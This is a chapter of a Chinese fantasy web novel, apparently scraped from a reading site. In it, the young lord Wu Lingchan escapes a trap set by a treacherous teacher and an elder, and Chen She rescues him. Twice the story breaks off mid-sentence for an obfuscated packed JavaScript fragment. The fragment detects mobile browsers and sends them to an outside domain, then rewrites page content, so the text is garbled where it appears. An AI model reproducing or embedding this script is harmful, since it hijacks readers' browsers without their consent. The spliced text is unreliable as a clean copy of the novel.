半魔彻底呆住了。 乌令禅一边写一遍问:“你叫什么呀?” 半魔:“青扬。” 乌令禅讶然:“还真是小羊?” 青扬:“……” 算了,他爱叫什么就叫什么吧。 乌令禅成功在魔族找到一个“效忠”自己的人,高兴得眉梢飞扬,转着笔插回发间,又开始琢磨。 该去哪里找第二个效忠自己的呢? 刚想到这里,一道熟悉的声音飘来。 “哎哟,这不是我们丰羽小小小斋的乌困困少君吗?” 乌令禅:“哎呦,手下败将!” 池敷寒:“……” 乌令禅四个字一击必胜,池敷寒从天而降,脚下踩着绿叶似的小扁舟,黑白衣袍潇洒飘逸。 “少君在这里做什么呢,不去小考吗?” 青扬本能畏惧人,在人还没到之前已躲在旁边的树林里不敢露面。 昨日因池敷寒挑衅而交手,导致被尘赦骂,乌令禅却也不迁怒池敷寒,溜达着过去看着他脚下好似翠叶般的漂亮扁舟。 “这是什么?” 池敷寒得意地一甩头发:“这是我的新法器——观平陆!一飞冲天观山海,任由鳖孙在后头追。” 乌令禅“哦”了声:“排第几啊?” 池敷寒炫耀:“这样一件在紧要关头能保住性命的法器极其罕见,和你的四冥金铃一样绝无仅有,我花了大价钱才弄来,今日第一次用。” 乌令禅虚心请教:“哦!排第几啊?” 池敷寒:“温故那千年老二还在后面几十里外吭哧吭哧往这儿飞呢,根本追不上我。” 乌令禅:“所以到底排第……” 池敷寒:“你有事没事,没事就滚。” 乌令禅:“……” “懒得和你玩。”池敷寒道,“今日四琢学宫有强烈的魔息波动,老师说可能会有枉了茔的虚空缝隙出现,我和温故正在四处巡逻。你切莫到处乱跑,快些回丰羽小小小斋。” 乌令禅没太听懂,抬手挥出一道墨痕一把缠住池敷寒脚下的扁舟:“等等。” 池敷寒一个起飞被薅住,差点头朝地栽下去,怒道:“乌困困!你想死吗?!把你的墨收回去,弄脏了我的新法器!” 乌令禅充耳不闻——就像是从来听不到玄香呵斥他不许叫墨宝一样:“我想问问,魔炁是什么呀?” 池敷寒风度翩翩站上去,看到脚下扁舟留下的一点墨痕,气得要命,怒气冲冲。 “魔兽用来修炼的东西,能是什么好东西?!我劝你别打魔炁的主意,赶紧回小斋,若是出事,起码白苍能护住你……” 话还未说完,四琢学宫陡然出现一阵急促的重钟声。 一响,二响…… 足足七声。 池敷寒脸色一变,立刻抓着乌令禅的后领扔到扁舟上,招呼都不打的腾空飞起。 观平陆的确是逃命法器,乌令禅都没反应过来,已经飞了。 ……只留下在原地的青扬,目瞪口呆看着天边一道白烟。 池敷寒并不喜欢乌困困,却知晓尘君偏爱重视此人,就算再烦也只能捏着鼻子护他周全。 池敷寒动作迅速,三息不到就将乌令禅送到丰羽小斋,沉声道:“后山有枉了茔兽潮出现,很危险,你就在学斋待着。” 说罢,不等乌令禅叽歪,直接又咻的一声飞了。 乌令禅:“……” 乌令禅盯着池敷寒离去的方向,若有所思:“嗯?对我这么好,他想效忠我?那我勉为其难让他做第二护法吧。” 玄香:“…………” 四琢学宫的钟声响彻八方,众幼崽不知危险为何物,全都好奇地扒着窗户往外看,满脸兴奋。 乌令禅闭眸感知青扬仍在后山,似乎正在往这里赶。 青扬能在魔兽厮杀时还能去捡漏魔炁,保命的手段不少,无需他瞎操心。 乌令禅正想回学斋,却见新来几日的师长白苍匆匆而来:“少、少君?少君回来的正好,学斋中有一个孩子寻不到了!” 乌令禅向他传授经验:“水缸里找了吗?他们就爱吓人,找到水面上的秸秆堵住孔,一会就憋不住蹦出来了。” 白苍:“……” 白苍哭笑不得:“都找遍了——都说那孩子听你不来小考,溜出去找你了。” 乌令禅一愣:“找我?怎么找我?” “说是前几日送你一片小叶子,上面刻了个追踪阵法。” 乌令禅:“……” 向来都是乌令禅用墨追踪别人,这还是头回被追踪。 他在腰间的金饰里扒拉半天,终于找到一枚小金叶子,果不其然上面雕刻着个稚嫩的阵法。 乌令禅抚摸着阵法,脸色倏地变了。 若那孩子追去了后山…… 乌令禅的牵挂和他洒出去的墨点一样,虽然淡但随处都是,他同那些孩子只相处数日,感情算不上深厚,却也无法任由他陷入危险中。 玄香化为翅膀带着乌令禅丁零当啷飞去后山。 白苍紧跟其后,他瞧着身形羸弱胆小怯懦,修为倒是不错,转瞬跟上玄香,忧心忡忡地观望四周。 “他应该到不了后山腹地。”玄香道,“四琢学宫皆有结界,就算枉了茔兽潮从缝隙出现,也只会在院里学宫的后山腹地。” 乌令禅点头。 两人很快到了后山外围。 白苍轻飘飘落地,掐诀闭眸,灵力陡然往四周激荡,很快就寻到异常。 乌令禅跟上去,衣袍上环佩叮当吗,甚是吵闹:“怎么?” 白苍从层层落叶中捡起一支小小的毛笔,正是那个失踪孩子的。 乌令禅眉头皱了起来:“还能找到吗?” 白苍点头,抬手召出一个罗盘模样的法器:“我的本命法器可追踪气息,定能找到。” 罗盘飘出一条猩红的舌,在那只笔上狠狠一舔,随后层叠的精密罗盘一阵旋转,那条舌陡然化为眼睛,直勾勾注视着前方。 乌令禅抬眸看去。 笔上飘出一道红色细碎的光,朝着后山腹地绵延而去。 那熊孩子果然进去了。 乌令禅一边叮叮当当地飞一边和玄香说:“好会惹祸的孩子,不好好待着非得到处乱招惹是非,这给我添了多少麻烦啊。墨宝!你知道我现在心里有多生气吗?!” 玄香:“……” 玄香沉默足足十息,幽幽道:“是吗,我从不知道这种感觉。” 乌令禅没听出来玄香的阴阳怪气,视线注视着延伸到远处的红色追踪线,不知发现了什么,眉梢轻轻一挑。 恰在这时,远处有只魔兽正在啃噬同族的尸身,冲天的紫雾遍布四周。 乌令禅脚步一顿。 白苍还在焦急,见状立刻停下:“怎么了少君?” 乌令禅犹豫,怯怯地说:“那魔兽好可怕……” 白苍忙安慰他:“少君莫怕,那魔兽是陆行兽,我们御空飞行,不会被攻击。” 乌令禅眼巴巴看着他:“我能要那魔兽的内丹吗?” 白苍愣了下:“要那东西做什么?还是救人要紧!” “魔兽难得,我想要魔炁。”乌令禅眉眼露出委屈的怒意,“我和尘君吵架,他让我别碰魔炁,我非要碰,我要多多的魔炁!气死他!” 白苍:“……” 白苍似乎无可奈何,但还是御风下去。 他修为已是金丹后期,很快就取了那魔兽性命,剖出内丹来给乌令禅。 乌令禅脸色微白,眉眼如画,高高兴兴接过来:“谢谢老师!” 白苍面颊还带着血,他勉强笑了笑:“不碍事——追踪线停在二十里外了,再不去寻就要散了。” 乌令禅点头:“哦!” 两人继续往前飞,在白苍没注意的地方,乌令禅手指轻轻一动,那团满是紫气的内丹被一团墨缠绕,悄无声息从半空掉了下去。 落至地面时,被一只修长如玉的手懒洋洋接在掌心。 罗盘所指方向,是后山一处几乎到枉了茔外壤的荒原。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029423|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乌令禅安安静静的跟着白苍御风过去,最后停留在一处枯树边。 “这里吗?” “嗯。”白苍点点头。 乌令禅快步走到枯树洞前,疑惑地道:“他一个才五岁的孩子,怎么会跑这么远?白老师确定没寻错吗?” 白苍注视着乌令禅纤瘦的背影,一直怯懦的脸上露出个笑来。 罗盘中倏地出现那条舌,势如破竹卷着乌令禅的腰身狠狠往树洞中一甩。 砰的一声。 乌令禅猝不及防摔了个七荤八素,他哪里受过这种委屈,还没站起来就先骂道:“放肆!你做什么?!” 白苍缓步走进来,似笑非笑注视着他:“江争流总觉得你心机深沉,扮猪吃老虎,我还信以为真。今日一瞧,原来你是真的蠢啊。” 乌令禅没怎么听懂:“你……你是江争流的人?你将我骗来此处想做什么?” 白苍漫不经心抚摸着罗盘,并不回答。 乌令禅正想要逃,忽地从树洞伸出伸出一条藤蔓,死死将他四肢腰身缠着狠狠束缚在树根上,疼得他叫了声。 黑暗中缓慢走出来一个人,淡淡地道:“少君刚来,怎么这么着急走呢?” 乌令禅吃痛,奋力地抬头望去。 那人满脸黢黑,正是前几日被乌令禅泼了满身墨的五长老。 “你们两个,是一起的?”乌令禅瞥他们,“别想害我,否则我自己绝对不会放过你们。” 五长老笑了声,道:“少君千金贵体,自出生起便备受宠爱,当年只是有人将您和尘君绑去喝茶,苴浮君却让所有涉事之人死无全尸魂飞魄散。有如此前车之鉴,我们哪有胆子敢害您呢?今日请您来,只是想求您办件事。” 乌令禅没怎么听懂,却明白了最后一句话,直接笑了。 “请我?那就跪下磕头,我或许还能勉为其难帮上一帮。” 五长老抚着胡须:“少君莫要为难我们,要怪就怪尘赦对枉了茔赶尽杀绝,否则我们不会将主意打到您头上。” 白苍不耐道:“夜长梦多,少和他废话。” 他吹了声呼哨,紧接着头顶的枯树骤然被一只巨大的爪子拍碎,紧接着一把将乌令禅按着胸口压在地上。 乌令禅脸色倏地一白。 眼前那巨大的魔兽看不出是什么,面目狰狞可怖,浑身却覆盖着好似石头般的碎屑,苔藓爬满面颊。 ……诡异得令人本能生畏。 魔兽瞳孔昏暗,直勾勾盯着乌令禅,口吐人言。 “鱼钥……” “钥匙!” 话音刚落,它猛地张开獠牙大口,一口将躲闪不及的乌令禅连人带藤蔓吞入腹中。 白苍和五长老见状,脸上露出一抹狂喜。 “枉了茔的界门终于要大开!” 魔兽吞下乌令禅,猛地仰天长啸,磅礴的灵力像是掀起巨大的风浪,一层一层涟漪似的朝四面八方蔓延。 枉了茔深处,无数魔兽咆哮着跟随,等待着界门打开,踏平三界! 平三界。 三界。 界……界门毫无反应。 白苍微微蹙眉,和五长老面面相觑。 就在这时,那巨大的魔兽忽地一抖身体,狠狠地吐出个东西来。 “啐——!” 两人一兽不约而同低头朝地上看去。 那并非是乌令禅的骸骨。 而是一滩墨。 白苍一愣,转瞬将这一路上的古怪联系在一起,想通了后险些一口气抽过去。 怪不得他下去杀魔兽回来后乌令禅就不太对劲。 那小少君竟然看穿自己的目的,还将计就计使了一招金蝉脱壳?! 白苍脸色阴沉,终于后知后觉意识到江争流的那句“少君心机颇深野心极大”是什么意思。 果然可怕。 五长老脸上的绿意几乎要超过墨色了,焦急道:“现在如何是好?” “这么短时间,他跑不出后山!”白苍当机立断,“立刻撕开虚空,不能让他逃了!” 此番冒险暴露身份,日后尘赦必当有所防范。 机会只有一次。 *** 三十里之外。 乌令禅的本尊正在扑扇着翅膀马不停蹄往出口飞。 青扬此时已和他汇合,他追不上会飞的乌令禅,咬牙变成魔羊模样,撒开蹄子嗒嗒奔跑。 乌令禅见青扬竟比他飞得快,索性直接落下去骑在魔羊背上。 青扬也不生气,努力跑得稳一些,一边狂奔一边问:“少君如何知晓那老师有问题的?” “皆是破绽。”乌令禅得意地道,“拿一个孩子诱我入局,手段太过低劣,我从一开始就看出他的意图。” 青扬:“少君洞若观火,明目达聪……” 玄香拆台:“其实是他入腹地后,发现远处有留在五长老身上的墨,才觉得有诈。” 青扬:“……” 乌令禅不计较细节,他坐在魔羊背上被颠得叮铃哐啷,发簪的珠子一直在打脸,捏着那枚白得的魔兽内丹,桀桀大笑。 “还想骗你困困少君?!再修炼个一百年吧!哈哈哈哈!” 16.胆子不是挺大吗 乌困困嚣张大笑。 但很快就乐不出来了。 白苍的罗盘有定位之能,乌令禅骑着青扬还未狂奔五里,一条虚幻而猩红的舌破空而来,猝不及防在乌令禅后背狠狠舔了一下。 乌令禅:“?” 舔中的刹那,舌陡然化为一只眼睛,直勾勾盯着他。 “找、到、了。” 乌令禅:“……” 魔羊撒腿就跑,颠得乌令禅嗷嗷叫:“那玩意儿好恶心,兵刃榜排名第几啊?!不用说,肯定倒数!” 青扬看了他一眼,继续狂奔。 白苍的速度更快。 罗盘乍一确定位置,紧接着虚空中陡然撕开一条缝隙,源源不断的魔炁陡然出现,魔兽也紧跟其后,面目狰狞地低吼咆哮。 白苍面无表情站在半空,罗盘上飘出的眼化为一条诡异的长手,朝乌令禅抓来。 乌令禅:“快跑快跑快跑!” 青扬身为半魔能活到现在,最大的优势就是能跑,他驮着乌令禅一个叮铃哐当的大活人依然跑得飞快,像是背后长了眼睛准确无误躲开白苍的“长手”,撒开蹄子飞奔。 白苍冷冷朝魔兽下令。 “别让他逃了,记得活捉。” 后山辽阔,乌令禅又深入腹地,他估算了下到达出口的距离,脸色微微一沉。 白苍是金丹期后期几近大圆满,还有个元婴境的五长老虎视眈眈,哪怕乌令禅恢复修为也得鏖战一番方能逃出,更何况还有如此多魔兽围捕。 乌令禅忽地起身,踩在魔羊背上稳住平衡,平伸手朝着前方,微微闭眸。 玄香太守中骤然蔓延出无数墨痕,好似巨大的墨狐尾巴朝四面八方张牙舞爪。 很快,乌令禅倏地睁眼,纤细如玉的手指勾住其中一根墨线。 “去东南方!” 青扬半句废话没有,遵从命令转向东南方跑去。 魔兽好似能吞噬一切,黑压压地压了过来,紧跟其后。 青扬气喘吁吁:“东南方有一线生机?” “对。”乌令禅手中墨线越来越浓,“池区区正好在附近,他有一样新法器,名唤观平陆,可瞬息逃窜数十里,是件紧要关头能保住性命的极品法器!” 青扬“哇”了声。 他其实一直想亲近乌令禅,可又笨嘴拙舌不知如何聊天,仔细想了想乌令禅和池敷寒温故他们上次交手闲聊,好像最多的话题就是排名。 青扬咳了声,找话题:“如此厉害,在兵刃榜上定然排名不低吧?” 乌令禅说:“一飞冲天观山海,任由那群鳖孙在后头追!” 青扬:“嗯!所以排名……” 乌令禅说:“你到底有事没事?!没事就赶紧跑!” 青扬:“…………” 几句话的功夫,乌令禅手中随风飘散的墨痕倏地绷紧,循着线望过去,远处池敷寒正踩着他的新法器斩杀魔兽。 乌令禅眼睛一亮:“池区区——!” 池敷寒一半雪白衣袍几乎染成红色,杀了太多魔兽浑身戾气未减,冷冷看来。 ……迎面就见乌令禅像是只蝴蝶朝他扑了过来。 池敷寒:“?” 乌令禅动作迅速,一把薅着化为人形的青扬飞到观平陆上。 观平陆只是个小扁舟,两个人乘坐已是够呛,更何况三个男人,法器剧烈一晃,差点三人都摔下去。 乌令禅揪着池敷寒的领子站稳,催促道:“快快快!快跑!驾——!” 池敷寒衣襟差点被扒了,直接气笑:“胡言乱语什么,给我滚下去!” “看!” 池敷寒冷笑一声,顺着乌令禅的爪子所指不耐地看过去,神情陡然一僵。 青扬跑得飞快,撂下魔兽一大截,离远了能瞧见那些魔兽黑压压好似海啸般朝天而来,魔息冲天。 池敷寒:“…………” 这下不用乌令禅催促,池敷寒猛地操控观平陆冲天飞起,不可置信道:“那是什么鬼东西?!” 乌令禅在风中大声说:“区区魔兽!” 池敷寒:“……” 池敷寒的法器极其迅速,两句话的功夫转瞬到了后山外围。 就在他即将冲出去时,玄香忽然道:“等等——!” 观平陆一时刹不住,千钧一发之际玄香化为一团浓墨往前挥去。 砰—— 墨在撞到结界的刹那陡然朝外四溅,墨汁砰出数十丈,艰难稳住观平陆的冲势。 若非玄香反应及时,恐怕三人带法器都要撞在结界上身负重伤。 池敷寒惊魂未定,拿出出锋学斋的令牌往结界上一甩,毫无反应。 连通信的学宫玉牌也安静如死。 这结界已被替换,阻拦一切灵力往外传。 池敷寒脸色沉了下来,回身一言难尽地看去:“谁花这么大手笔要杀你?你好好在丰羽小斋待着不成吗,白苍修为在我之上,有他保护你,比现在……” 话还未说完,乌令禅忽然伸手。 池敷寒和青扬不约而同捂住脸。 乌令禅指向不远处:“手下败将,比你能打的白苍就在那儿呢。” 池敷寒定睛一看。 白苍正在魔兽群之上,神色狰狞。 池敷寒面露悚然:“这些是白苍弄出来的?!” “是啊。”乌令禅指责他人,“若不是你将我送回丰羽小斋,还说他能保护我,我怎么可能会被他算计追杀?都怪你,给我道歉。” 池敷寒:“……” 青扬跃跃欲试地加入他们:“白苍排第几啊?” 池敷寒幽幽道:“他是上一届出锋学斋的榜首。” 池敷寒操控观平陆咻地就跑,还在冷静地分析战局。 “后山结界被替换,学宫玉牌被切断联系,如此大阵仗四琢学宫很快发觉端倪来救我们。观平陆能支撑半个时辰,足够他们破开结界。当务之急就是先活下去,撑到援兵到。” 乌令禅说:“你叽里呱啦说什么呢?” 池敷寒:“……” 终于明白此子为何会在丰羽小斋了。 敢情连话都听不懂。 结界受人操控,像是捉小鸟似的越来越小,池敷寒只能尽量往外围飞去。 乌令禅见魔兽越追越紧,站稳身体拔出簪子化笔。 玄香挥出铺天盖地的墨,同漫天水雾交融盘桓,顷刻化为扭曲旋转的太极,无数魔兽被困其中只能跟着打转。 池敷寒刚要松口气,忽地一道寒光骤然破空而来。 观平陆猛地摇摆,箭堪堪擦过池敷寒的耳侧,咻咻射到巨树上。 乌令禅霍然回身,长发红袍翻飞,漂亮的红瞳泛着一丝冷意。 白苍御风于空,手握长弓,漠然注视着他。 乌令禅腕间墨块浮现墨痕飘浮身后,冷冷道:“我最讨厌别人拿箭射我——我要弄死他。” 说罢,他足尖踩墨,身形如叶掠风而去。 青扬一惊:“少君!” 池敷寒也下意识拽他:“乌困困!” 可转念一想,乌令禅修为难测,说不定真的能将白苍打败。 池敷寒正要松口气,就见刚气势汹汹要弄死白苍的乌令禅,被玄香抱猫似的抱着落到观平陆上。 池敷寒面无表情:“困困少君没打赢吗?” 乌令禅说:“嘿嘿,五长老在后头呢。他是元婴,咱们快跑吧。” 池敷寒:“……” 池敷寒悚然回头,一看那黑黢黢的脸唇角抽了抽。 观平陆拼命逃窜,白苍的箭海紧跟其后。 池敷寒咬了咬牙,眼看着五长老越来越近,咆哮道:“你身上不是有尘君的四冥金铃吗,快拿出来,金铃受到攻击,尘君应该很快来救我们!” 乌令禅也扒着他耳朵朝他咆哮:“放心吧!少君有骨气,我们就算一起殉情,也绝不求人!” 池敷寒暴怒:“谁要和你一起殉情?!快拿出来!” 乌令禅只好说实话:“嘿嘿,昨天吵架,我还给他啦。” 池敷寒匪夷所思道:“你是三岁小孩子吗?!” 乌令禅掐他。 青扬:“……” 见两人都要扭打在一起了,一道元婴灵力浩瀚如海,轰然一声击中观平陆。 五长老立在半空,飞快掐诀,低声喝道:“禁!” 结界之上泛起繁琐符纹,限制所有灵力。 砰! 观平陆出现一道道蛛网似的裂纹。 池敷寒低头一看,神情一僵。 ……完了。 下一瞬,观平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035423|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆骤然碎成渣渣,失重感陡然袭来,三人呆了一瞬,猛地从半空中往下掉落。 池敷寒下意识就要掐诀御风,却惊惧地发现竟然无法调动体内灵力。 是禁灵阵。 “啊啊啊——!”池敷寒彻底绝望了,边掉边哀嚎咆哮,“我的新法器!只用了一次!乌困困我和你不共戴天!” 乌令禅嗷嗷叫:“是他先错怪我的!我没错!你给我道歉!” 青扬见生死关头他们还在聊无关紧要的事,还以为他们有办法脱困,也不着急了,一边被风吹得脸都皱了,一边试图加入话题。 “所以新法器排第几啊?” “……” 在一阵阵“我的法器啊!”“我恨他!”“排第几啊”的惨叫中,三人像是流星般重重往地面砸下。 结界,禁灵阵,两人不知策划多久,有备而来。 混乱中,无法用灵力的玄香焦急地道:“令禅当心!” 一支箭凌空而来,乌令禅反应极快,下意识侧身一躲,箭堪堪擦过他的袖袍。 可诡异的是,那箭并非实质性的,在接触乌令禅衣袍的刹那瞬间消散,凝聚的碎光好似一只血红的大手,准确无误勾缠住乌令禅的心脏。 咚,咚。 心脏好似被扎根般,不受控制地剧烈跳动。 乌令禅心口骤然一痛,脸色唰地白了,从心脏到脖颈处好似绽放一朵艳丽的花簇。 那是咒法?! 白苍一喜:“抓住了!” 四周结界瞬间收缩,想将乌令禅当头困住。 千钧一发之际,一只修长的手轻轻在那坚硬繁琐的结界上一碰。 周遭的风似乎都停滞了一瞬。 砰的一声。 笼罩后山的结界瞬间破碎成无数纷纷扬扬的竹叶漫天洒落。 被困在太极中魔兽不约而同停下,庞大厚重的威压铺天盖地而来,逼得它们胆丧魂惊,只能四肢着地瑟瑟发抖地匍匐在地。 白苍和五长老脸色倏地一变。 尘赦? 怎么来得这么快?! 翠竹地下茎蔓延生根,顷刻遍布整个后山,在漫天雨滴落下的刹那,暴长出无数翠绿的竹。 乌令禅在席卷全身的失重中,嗅到一股竹和雪交织的气息。 还没等细想,就听得“砰”“砰”两声重物掉落地面的动静,一股灵力温柔地垫在他背后,像跌入松软的棉花中缓缓往下飘落。 ……直至被一双手轻柔接住。 乌令禅还以为是玄香,茫然睁开眼睛。 后山的莲池不知何时已化为数百顷的竹林,翠竹被风吹拂得沙沙作响,狭长针叶簌簌飘落。 尘赦靛青长袍立在竹林中,长发如墨,双手稳稳将乌令禅横抱怀中。 磅礴的灵力包裹乌令禅全身,那勾缠心脏的符咒被压制,暂时蛰伏下去。 尘赦这才“看”向前方。 接触到尘赦眼睛符纹的刹那,白苍脸色煞白如纸,理智还未思考本能已在叫嚣着逃,愣怔着往后退了半步。 在脚尖即将落地时,掩藏在薄薄一层地皮的地下茎遽尔长出一根尖锐的嫩竹。 白苍一惊,下意识躲开。 可已晚了。 嫩竹尖锐地穿透他的小腿。 白苍立刻急急道:“你不能杀我,大长老……” 平常拿大长老来压制尘赦几乎百试百灵,此时尘赦却像耳朵也聋了,尖锐的竹狠狠插入白苍的后心,从脖颈处斜斜长出。 白苍惨叫声戛然而止,眸瞳涣散,彻底没了声息。 由血灌溉,长在尸身上的竹瞬间铺天盖地长出翠竹,结出稻穗似的猩红花朵。 尘赦淡笑着道:“他刚才说了什么吗?” 五长老骨寒毛竖,满脸墨也能看出他的惊惧。 这么些年,他从未见过一向爱装君子的尘赦有如此惊骇的怒意和杀气,竟连大长老也不顾了。 尘赦眸瞳仍闭着,眉间舒展带着三分笑意,可后山所有竹叶好似锋利诡异的刀锋,带着掩盖不住的森森杀意。 “同枉了茔大魔勾结、四琢学宫布结界撕虚空、给少君下「合心咒」。能做出这些,胆子不是挺大的吗?” 尘赦低低笑了声,语气温柔。 “既然如此,又为何要跑呢?”